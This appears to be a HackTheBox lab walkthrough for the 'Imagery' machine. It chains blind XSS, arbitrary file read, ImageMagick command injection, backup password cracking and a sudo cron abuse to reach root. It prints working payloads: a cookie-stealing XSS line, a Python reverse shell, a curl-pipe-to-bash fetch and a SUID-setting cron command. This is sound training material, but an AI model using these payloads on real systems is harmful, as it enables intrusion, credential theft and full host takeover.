All writeups
HackTheBox: Imagery avatar
MACHINE Linux HackTheBox 3/5

HackTheBox: Imagery

2026-06-08 17 min read
Tracks CWES
Services ssh

Introduction

Imagery is a medium Linux machine built around an image gallery web application. The attack chain is creative - it starts with a blind XSS to steal an admin session cookie, pivots through an arbitrary file read to obtain source code, then exploits an ImageMagick command injection to land a shell. Post-exploitation involves cracking an AES-encrypted backup file to pivot users, and finally abusing a sudo-privileged custom CLI tool to schedule a root cron job. The path to root:

  1. Enumeration → Nmap finds port 8000 (Flask/Werkzeug web app) and port 22 (SSH). Register an account and explore the app
  2. Blind XSS → the “Report a Bug” form is viewed by an admin bot. Inject an <img> payload to confirm XSS, then steal the admin’s session cookie via onerror
  3. Session hijack → swap the cookie in your browser to access the Admin Panel
  4. Arbitrary File Read → the admin log-download endpoint takes a filename parameter with no sanitisation. Read /etc/passwd, then /proc/self/environ to find the app’s home directory, then pull the full source code
  5. Source code reviewapi_edit.py reveals a hidden /apply_visual_transform endpoint that builds an ImageMagick shell command from unsanitised user input
  6. RCE via command injection → log in as testuser (credentials from db.json via the file read, cracked with john), upload an image, send a crop transform request with a Python reverse shell injected into the width parameter → shell as web
  7. Encrypted backup → LinPEAS finds /var/backup/web.zip.aes (pyAesCrypt). Brute-force the password with dpyAesCrypt → bestfriends. Decrypt and extract an old db.json containing mark’s MD5 hash → crack → supersmash
  8. Lateral movementsu mark with the cracked password → user flag
  9. Sudo abuse - Charcolmark can run /usr/local/bin/charcol as root. Reset the app password, enter the shell, use the built-in auto add command to schedule a cron job that sets the SUID bit on /bin/bashbash -p → root → root flag

Key Concepts

What is Blind XSS? Regular XSS fires immediately in your own browser - you see the alert or the error yourself. Blind XSS is different: your payload lands in a form that an admin or bot reviews on the backend. You can’t see the result directly - you have to prove the execution by checking whether your server receives a callback. Once confirmed, you craft a payload that exfiltrates something useful - like the admin’s session cookie.

What is httpOnly and why does its absence matter? The httpOnly flag on a cookie prevents JavaScript from reading it via document.cookie. If httpOnly is not set on a session cookie, any JavaScript running in the admin’s browser (including injected XSS payloads) can read and steal it. That’s what makes this attack possible.

What is btoa()? btoa() is a built-in browser function that base64-encodes a string. Payloads like btoa(document.cookie) encode the cookie value before sending it as a URL parameter - this prevents special characters (equals signs, semicolons, spaces) from breaking the HTTP request.

What is Arbitrary File Read? A vulnerability where a parameter that’s supposed to reference one specific file can be manipulated to read any file the server process has permission to access. Here the log_identifier parameter was meant to serve user log files, but accepts absolute paths like /etc/passwd without validation. This can expose credentials, source code, SSH keys, and more.

What is /proc/self/environ? A special Linux file that contains all environment variables for the currently running process. For a web app, this often includes the working directory, the app’s home folder path, environment-specific secrets, and more. It’s always worth trying during arbitrary file read - it’s a quick way to map out the server’s context.

What is command injection via ImageMagick? The web app builds a shell command string by formatting user input directly into it:

command = f"convert {filepath} -crop {width}x{height}+{x}+{y} {output}"

If width contains a semicolon or shell operator followed by a command, the shell executes both. Since subprocess.run() is called with shell=True, the entire string is passed to /bin/sh - making this a textbook OS command injection.

What is pyAesCrypt? A Python library that encrypts files with AES-256-CBC. It’s not inherently weak, but like any symmetric encryption, the security depends entirely on the password used. If that password is a common word, it’s vulnerable to a dictionary attack.

What is an SUID binary? SUID (Set User ID) is a Unix permission bit. When set on an executable, it runs as the file owner (usually root) regardless of who calls it. Setting the SUID bit on /bin/bash means any user can run bash -p to get a root shell - making it one of the most common privilege escalation techniques in CTFs.

What is a cron job? A scheduled task on Linux that runs automatically at defined intervals (specified in cron syntax: * * * * * = every minute). If a privileged program lets you schedule commands and runs those commands as root, you can schedule anything - including commands that give you permanent root access.


Enumeration

Nmap

ports=$(nmap -Pn -p- --min-rate=1000 -T4 <TARGET> | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -Pn -p$ports -sC -sV <TARGET>

Key open ports:

PortServiceNotes
22SSH - OpenSSH 9.7p1Used later for stable access
8000HTTP - Werkzeug 3.1.3 / Python 3.12.7Flask-based image gallery app

Add the hostname to your hosts file:

echo "<TARGET> imagery.htb" | sudo tee -a /etc/hosts

Why Werkzeug/Flask? Knowing the server is Python/Flask is useful context. Flask apps often store session data in signed cookies, use JSON config files, and import code from multiple .py modules. All of this shapes how we approach source code review later.

Web Application

Visit http://imagery.htb:8000. Register an account and log in. The dashboard is an image gallery - empty for now. More importantly, check the footer: there’s a “Report Bug” link.

The bug report form has two fields: Bug Name / Summary and Bug Details. This form is reviewed by an admin. That’s the XSS target.


Step 1: Confirm XSS

Start a Python HTTP server to catch callbacks:

python3 -m http.server 80

Inject a simple <img> tag into the Bug Details field. The "> at the start breaks out of any existing HTML attribute that might be wrapping input:

"><img src="http://<YOUR_IP>/bug_details">

Submit the report and wait about a minute. Check your HTTP server - you should see:

<TARGET> - - "GET /bug_details HTTP/1.1" 404 -

The server made a request to your machine. An admin bot viewed the report, the browser tried to load the image from your server, and you got the callback. Blind XSS confirmed.

Why does the path matter? Putting /bug_details in the URL helps you identify which payload triggered the callback, especially if you’re testing multiple form fields at once.

The session cookie has no httpOnly flag - JavaScript can read it with document.cookie. Craft a payload that base64-encodes the cookie and sends it as a URL parameter to your server:

<img src=x onerror="window.location.href='http://<YOUR_IP>/c='+btoa(document.cookie);" />

Submit this in the Bug Details field. After about a minute, your HTTP server receives:

<TARGET> - - "GET /c=c2Vzc2lvbj0uZUp3OWpiRU9...= HTTP/1.1" 404 -

Decode the base64 value to recover the session cookie:

echo 'c2Vzc2lvbj0uZUp3OWpiRU9...' | base64 -d; echo
# session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP...

Step 3: Hijack the Session

Open your browser’s DevTools → Application → Cookies → http://imagery.htb:8000. Replace your own session cookie value with the admin’s decoded value. Refresh the page.

You now have access to the Admin Panel, which shows all registered users and their user IDs. It also has a “Download Log” button for each user that fetches their activity log file.


Arbitrary File Read

Intercept the Log Download

Click “Download Log” for any user and intercept the request in Burp Suite. The request looks like:

GET /admin/get_system_log?log_identifier=testuser@imagery.htb.log HTTP/1.1

The log_identifier parameter accepts a filename. Try changing it to an absolute path:

GET /admin/get_system_log?log_identifier=/etc/passwd HTTP/1.1

The response returns the full contents of /etc/passwd. The server is not validating or sanitising this parameter - it’s a path traversal / arbitrary file read vulnerability.

Find the App’s Location

Read /proc/self/environ to find the web app’s home directory:

GET /admin/get_system_log?log_identifier=/proc/self/environ HTTP/1.1

The environment variables reveal the app’s home path. Note the HOME variable - it points to something like /home/web.

Pull the Source Code

Read the main Flask application:

GET /admin/get_system_log?log_identifier=/home/web/web/app.py HTTP/1.1

app.py shows all the imported modules:

from api_auth import bp_auth
from api_upload import bp_upload
from api_manage import bp_manage
from api_edit import bp_edit       # ← interesting
from api_admin import bp_admin
from api_misc import bp_misc

Read each one. api_edit.py is the most interesting:

GET /admin/get_system_log?log_identifier=/home/web/web/api_edit.py HTTP/1.1

Also read config.py to find where credentials are stored:

GET /admin/get_system_log?log_identifier=/home/web/web/config.py HTTP/1.1

config.py reveals the credentials file is named db.json. Read it:

GET /admin/get_system_log?log_identifier=/home/web/web/db.json HTTP/1.1

db.json contains MD5 hashes for all users. Copy the testuser hash.


Cracking the testuser Hash

Save the hash to a file and crack it with john:

echo "3c65cbf7b18ca320e3ed42b9619380416" > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt --format=raw-md5
iambatman    (?)

testuser credentials:

FieldValue
Usernametestuser@imagery.htb
Passwordiambatman

RCE via ImageMagick Command Injection

Understanding the Vulnerability

api_edit.py contains a hidden route /apply_visual_transform. Reading the relevant code:

@bp_edit.route('/apply_visual_transform', methods=['POST'])
def apply_visual_transform():
    if not session.get('is_testuser_account'):
        return jsonify({'success': False, 'message': 'Feature is still in development.'}), 403
    # ...
    if transform_type == 'crop':
        x = str(params.get('x'))
        y = str(params.get('y'))
        width = str(params.get('width'))
        height = str(params.get('height'))
        command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"
        subprocess.run(command, capture_output=True, text=True, shell=True, check=True)

The width value comes directly from user input and is inserted into a shell command with no sanitisation. With shell=True, a semicolon in width will end the ImageMagick command and start a new one - our command.

The endpoint requires the session key is_testuser_account to be set - which is why we need to be logged in as testuser.

Step 1: Log in as testuser

Log out of the admin account and log in as testuser@imagery.htb with password iambatman.

Step 2: Upload an Image

Go to Upload and upload any valid image file (PNG, JPG, GIF). Note the image ID shown after upload - you’ll need it.

Step 3: Start a Listener

nc -lnvp 1337

Step 4: Send the Malicious Transform Request

Go to your image in the Gallery, click the options menu → Transform Image → select Crop. Intercept the request in Burp Suite before it’s sent.

The request body is JSON. Modify the width field to inject a Python reverse shell:

{
  "imageId": "<your-image-id>",
  "transformType": "crop",
  "params": {
    "x": "0",
    "y": "0",
    "width": "800;python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"<YOUR_IP>\",1337));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"/bin/bash\")'",
    "height": "600"
  }
}

Breaking down the payload:

  • 800; - a valid-looking width value followed by a semicolon. The semicolon ends the convert command
  • python3 -c '...' - opens a socket to your machine and spawns /bin/bash over it, with stdin/stdout/stderr all redirected to the socket
  • The shell executes this because subprocess.run() uses shell=True

Send the request. Check your listener:

Connection received on <TARGET> 48316
web@Imagery:~/web$

Step 5: Stabilise the Shell

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Press Ctrl+Z to background the shell
stty raw -echo; fg
# Press Enter twice

You now have a stable, fully interactive shell as web.


Lateral Movement: Encrypted Backup → mark

Run LinPEAS

Serve LinPEAS from your machine and execute it in memory on the target (nothing is written to disk):

# On your machine:
cp /usr/share/peass/linpeas/linpeas.sh .
python3 -m http.server 80

# On the target:
curl http://<YOUR_IP>/linpeas.sh | bash

LinPEAS flags an unusual file in /var/backup:

-rw-rw-r-- 1 root root 23054471 Aug 6 2024 /var/backup/web_20250806_120723.zip.aes

Transfer the File

# On the target - serve the file:
cd /var/backup
python3 -m http.server 9001

# On your machine - download it:
wget http://<TARGET>:9001/web_20250806_120723.zip.aes -O web.zip.aes

Check what it is:

file web.zip.aes
# web.zip.aes: AES encrypted data, version 2, created by "pyAesCrypt 6.1.1"

Brute-Force the Encryption Password

Download dpyAesCrypt.py - a purpose-built pyAesCrypt brute-forcer. Set up a Python virtual environment (required because the tool needs the pyAesCrypt library):

virtualenv env
source env/bin/activate
pip3 install pyAesCrypt
python3 dpyAesCrypt.py web.zip.aes /usr/share/wordlists/rockyou.txt -t 100
[✓] Password found: bestfriends
Decrypt the file now? (y/n): y
[✓] File decrypted successfully as: web.zip

Why 100 threads? pyAesCrypt decryption is CPU-bound. More threads = more parallel attempts = faster cracking. The default is usually 1 thread, which would take hours on rockyou.

Extract and Find mark’s Hash

unzip web.zip
cat web/db.json

The old backup contains a user entry for mark@imagery.htb with an MD5 hash:

"username": "mark@imagery.htb",
"password": "01c3d2e5bdaf6134cec0a367cf53e535"

Crack it:

echo "01c3d2e5bdaf6134cec0a367cf53e535" > mark_hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt mark_hash.txt --format=raw-md5
supersmash    (?)

mark’s credentials:

FieldValue
Usernamemark
Passwordsupersmash

Switch to mark

web@Imagery:~$ su mark
Password: supersmash

mark@Imagery:/home/web$ cat /home/mark/user.txt

User flag captured.


Privilege Escalation: Charcol Cron Job → root

Check Sudo Permissions

mark@Imagery:~$ sudo -l
User mark may run the following commands on Imagery:
    (ALL) NOPASSWD: /usr/local/bin/charcol

mark can run the charcol binary as any user (including root) without a password. Check the binary:

ls -la /usr/local/bin/charcol
# -rwxr-x--- 1 root root 69 Aug 4 18:08 /usr/local/bin/charcol

Mark can execute it but not read it - we can’t reverse-engineer the binary directly. Look at the help instead:

sudo /usr/local/bin/charcol help
usage: charcol.py [--quiet] [-R] {shell,help} ...
Charcol: A CLI tool to create encrypted backup zip files.

positional arguments:
  {shell,help}     Available commands
    shell          Enter an interactive Charcol shell.
    help           Show help message for Charcol or a specific command.

options:
  -R, --reset-password-to-default
                   Reset application password to default (requires system
                   password verification).

Two key things: a -R reset option, and a shell command that drops into an interactive shell.

Step 1: Reset the Application Password

The app has its own password that protects access to its shell. Since we don’t know it, reset it:

sudo /usr/local/bin/charcol -R

It asks for mark’s system password to verify the operation:

Enter system password for user 'mark' to confirm: supersmash

Removed existing config file: /root/.charcol/.charcol_config
Charcol application password has been reset to default (no password mode).
Please restart the application for changes to take effect.

Why does this work? The app stores its own config in /root/.charcol/. Since the binary runs as root (via sudo), the -R flag can delete that config file, effectively wiping the app password. The system password check is just to prove you’re mark - it doesn’t protect against this.

Step 2: Enter the Charcol Shell and Set New Passwords

sudo /usr/local/bin/charcol shell

It prompts for first-time setup:

First time setup: Set your Charcol application password.
Enter '1' to set a new password, or press Enter to use 'no password' mode: 1
Enter new application password: <choose any password>
Confirm new application password: <same>

Now, set a master passphrase. This passphrase is used ONLY to encrypt your
application password in the config file.
Enter new master passphrase: <choose any passphrase>
Confirm new master passphrase: <same>

Restart again with your new credentials:

sudo /usr/local/bin/charcol shell
Enter your Charcol master passphrase: <your passphrase>

You’re now inside the Charcol interactive shell.

Step 3: Discover the Cron Job Feature

charcol> help

In the output, look for the “Automated Jobs” section:

Automated Jobs (Cron):
  auto add --schedule "<cron_schedule>" --command "<shell_command>" --name "<job_name>"
  Purpose: Add a new automated cron job managed by Charcol.

Since charcol runs as root, any cron job it creates will run as root. This is the privilege escalation path.

Step 4: Schedule the SUID Payload

The payload sets the SUID bit on /bin/bash. Once that bit is set, any user can run bash -p to get a root effective UID:

charcol> auto add --schedule "* * * * *" --command "/bin/bash -c 'chmod u+s /bin/bash'" --name "pwn"
Enter Charcol application password: <your password>
[INFO] Auto job 'pwn' added successfully. The job will run according to schedule.
[INFO] Cron line added: * * * * * CHARCOL_NON_INTERACTIVE=true /bin/bash -c 'chmod u+s /bin/bash'

Cron syntax breakdown: * * * * * means every minute, every hour, every day - so you’ll wait at most 60 seconds for execution.

Step 5: Wait and Escalate

Exit the Charcol shell and watch the SUID bit appear:

watch -n 5 ls -la /bin/bash

After up to a minute:

-rwsr-xr-x 1 root root 1474768 Oct 26 2024 /bin/bash

The s in place of x in the owner field confirms the SUID bit is set. Now escalate:

bash -p
bash-5.2# id
uid=1002(mark) gid=1002(mark) euid=0(root) groups=1002(mark)

euid=0 - effective user ID is root. You have full root privileges.

bash-5.2# cat /root/root.txt

Root flag captured.


Summary

nmap → port 22 (SSH), port 8000 (Flask image gallery)

Register account → explore app → footer: "Report Bug" form

python3 -m http.server 80
"><img src="http://<IP>/test"> → GET /test received → Blind XSS confirmed

<img src=x onerror="window.location.href='http://<IP>/c='+btoa(document.cookie);" />
→ GET /c=<base64> received → base64 -d → admin session cookie

Replace browser cookie → Admin Panel unlocked

Admin Panel → Download Log → intercept in Burp
log_identifier=testuser@imagery.htb.log → change to /etc/passwd → contents returned
→ Arbitrary File Read confirmed

log_identifier=/proc/self/environ → app home dir: /home/web
log_identifier=/home/web/web/app.py → imports: api_edit.py
log_identifier=/home/web/web/api_edit.py → hidden /apply_visual_transform endpoint
    → width param injected into shell command (shell=True) → Command Injection
log_identifier=/home/web/web/config.py → credentials file: db.json
log_identifier=/home/web/web/db.json → testuser MD5 hash

john --format=raw-md5 → testuser : iambatman

Log in as testuser → upload image → Transform Image → crop → intercept in Burp
"width": "800;python3 -c 'import os,pty,socket;...'" → nc -lnvp 1337
→ shell as web

Stabilise shell → curl http://<IP>/linpeas.sh | bash
→ /var/backup/web.zip.aes (pyAesCrypt)

Transfer web.zip.aes → dpyAesCrypt.py + rockyou.txt → bestfriends
→ unzip web.zip → cat web/db.json → mark@imagery.htb MD5 hash

john --format=raw-md5 → mark : supersmash

su mark → cat /home/mark/user.txt → USER FLAG

sudo -l → (ALL) NOPASSWD: /usr/local/bin/charcol

sudo charcol -R → reset app password (verifies with mark's system password)
sudo charcol shell → first-time setup → set new app password + master passphrase
→ help → "auto add" cron job feature discovered

auto add --schedule "* * * * *" --command "/bin/bash -c 'chmod u+s /bin/bash'" --name "pwn"
→ wait 60 seconds → ls -la /bin/bash → -rwsr-xr-x

bash -p → euid=0(root) → cat /root/root.txt → ROOT FLAG

Tools Used

ToolWhat it doesHow to get it
nmapNetwork port scanner - identifies open ports and servicesPre-installed on Kali
Python http.serverServes files and catches HTTP callbacks (XSS confirmation, LinPEAS delivery)Built into Python 3
Burp SuiteHTTP proxy - intercepts and modifies web requestsPre-installed on Kali
base64Decodes base64-encoded cookie values from the XSS callbackPre-installed on Kali
john (JohnTheRipper)Cracks password hashes - used here for raw MD5Pre-installed on Kali
rockyou.txtCommon password wordlist used with john/usr/share/wordlists/rockyou.txt on Kali
nc (netcat)Catches reverse shell connectionsPre-installed on Kali
LinPEASAutomated Linux privilege escalation enumeration scriptgithub.com/peass-ng/PEASS-ng
dpyAesCrypt.pyMulti-threaded pyAesCrypt password brute-forcergithub.com/grawlinson/dpyAesCrypt
virtualenv + pyAesCryptRequired to run dpyAesCrypt.pypip install virtualenv pyAesCrypt
unzipExtracts the decrypted zip archivePre-installed on Kali
watchRepeatedly runs a command - used to monitor SUID bit changePre-installed on Kali